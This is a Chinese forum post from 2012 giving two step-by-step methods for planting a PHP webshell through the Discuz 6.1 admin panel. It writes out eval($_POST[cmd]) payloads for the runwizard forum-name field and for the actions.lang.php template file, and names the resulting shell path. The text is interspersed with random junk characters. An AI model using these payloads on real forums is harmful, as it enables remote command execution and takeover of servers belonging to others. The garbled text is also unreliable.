discuz6.1两种方法后台拿shell
% M0 g5 L7 ?0 h/ o好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下$ z: ?4 n" e& w
1:7 l# L3 [8 \0 H/ E
http://127.0.0.1/discuz/admincp. ... zard&frames=yes V5 M2 ]/ O' {$ J0 U2 w& F; ~
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell9 F/ @( i7 T; w1 p! a5 ?" c' R" J
<?php eval($_POST[cmd]);?> l9 @+ @: }, R; I* W4 e/ p
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php @) M/ s6 k. D" p. W4 k
6 O& H: [' m7 c {; \- y
% e3 q. l4 x% L |2:后台模板管理--默认模板套系--详情/ q# p8 _. L2 r1 H. \! I& F0 x( F
templates/default/actions.lang.php
) }7 y: S. w" hjhackj\\');eval($_POST[cmd])?>;//
* N1 |) j9 M X, C! _$ `% m% U5 ?: S e s) s$ X: E, Z& w
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对